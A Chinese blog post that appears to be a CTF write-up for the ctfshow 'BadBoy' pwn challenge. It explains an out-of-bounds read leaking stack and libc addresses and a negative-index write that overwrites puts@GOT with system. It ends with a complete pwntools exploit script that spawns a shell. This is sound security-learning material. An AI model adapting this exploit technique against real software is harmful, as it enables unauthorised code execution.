【pwn】ctfshow元旦水友赛--BadBoy

首先先来看一下程序的保护情况

这里got表可改,没有开地址随机

接着看一下ida逻辑

很直接,只有一个main函数,一点点分析这段代码

buf[1] = __readfsqword(0x28u);
  init_func(argc, argv, envp);
  buf[0] = 'gfedcba';
  v5 = 0LL;
  while ( (_DWORD)kl )
  {
    puts("i am bad boy ");
    __isoc99_scanf("%ld", &v4);
    write(1, (char *)buf + v4, (unsigned int)kl);
    LODWORD(kl) = kl - 3;
  }

首先这一段设计的非常巧妙,kl的值是6,说明while循环可以执行两次,第一次只能泄露出6字节的值,第二次可以泄露3字节,然后buf地址的偏移是0x10,我们可以gdb看一下

可以发现第一个绿线是buf地址,第二个绿线可以泄露libc地址,第三个绿线可以泄露出栈地址

以下是泄露的exp:

io.sendlineafter("i am bad boy \n",str(40))
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))

io.sendlineafter("i am bad boy \n",str(24))
libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))
print("libc_start_call_main"+hex(libc_start_call_main))
libc地址其实3个字节就够用了
然后又可以往buf地址写个3个字节的值,这里我们只能写出'sh/x00'
接着修改puts_got的内容,修改成system函数,最后再调用puts(buf)的时候就可以达到getshell的目的
 __isoc99_scanf("%lld", &v5);
  if ( v5 > 8 )
    exit(0);
  printf("HaHaHa ");
  read(0, (char *)buf + v5, 3uLL);
  puts((const char *)buf);
  return 0;
ida代码中这个v5的值是可以输入负数,于是我们可以输入负数来实现got表的数据写入,我们只需要知道buf地址,以及puts_got的地址,buf地址可以通过泄露的栈地址减去0xf8来确定
puts_got的地址如下:
然后我们就要来解决system函数的问题,我们现在是可以往puts_got的地址处写入3字节的值,其实已经完全足够,因为其它5个字节都是随机生成的基址
首先我们先libc_start_main-231确定到libc_start_main函数的地址,然后减去libc_start_main函数偏移得到后3字节的基地址,再加上system的偏移就是system函数后3字节的真实地址
完整exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#io=remote("pwn.challenge.ctf.show",28202)
io=process("./pwn")
elf=ELF("./pwn")
libc=elf.libc
io.sendlineafter("i am bad boy \n",str(40))
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))

io.sendlineafter("i am bad boy \n",str(24))
libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))
print("libc_start_call_main"+hex(libc_start_call_main))

io.sendlineafter(b"because i'm not girl ",b'sh\x00')

puts_got_addr=-(stack_addr-0xf8-0x601018)
print("puts_got_addr"+hex(puts_got_addr))

io.sendlineafter(b"so can you fell me? ",str(puts_got_addr))
system_addr=libc_start_call_main-231-libc.sym['__libc_start_main']+libc.sym["system"]

io.sendlineafter(b"HaHaHa ",p64(system_addr))
io.interactive()
 
posted @ 2024-02-06 16:44  GGBomb  阅读(56)  评论(0编辑  收藏  举报